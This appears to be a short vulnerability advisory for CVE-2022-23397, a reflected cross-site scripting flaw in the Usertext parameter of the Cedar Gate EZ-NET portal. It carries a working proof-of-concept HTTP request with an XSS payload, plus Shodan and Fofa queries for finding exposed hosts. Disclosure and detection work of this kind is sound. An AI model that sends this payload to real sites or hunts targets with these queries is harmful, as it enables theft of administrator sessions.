| Title | Cedar Gate EZ-NET <= 6.8.0 - Cross-Site Scripting |
|---|---|
| Author | srilakivarma |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS in the Usertext parameter, potentially stealing administrator session cookies or performing administrative actions. |
| Remediation | Upgrade Cedar Gate EZ-NET Portal to a version newer than 6.8.0 that addresses the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02099 |
| CVE ID | CVE-2022-23397 |
| CWE ID | CWE-79 |
| Shodan Query | EZNET_ |
| Fofa Query | EZNET_ |
| Tags | cve cve2022 cedar eznet xss vkev vuln |
The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. This leads to a Reflected Cross-Site Scripting vulnerability.
GET /EZ-NET60/AlertMessages.aspx?Usertext=<img%20src%3Dx%20onerror%3Dalert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-23397.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-23397.pcap
N/AN/A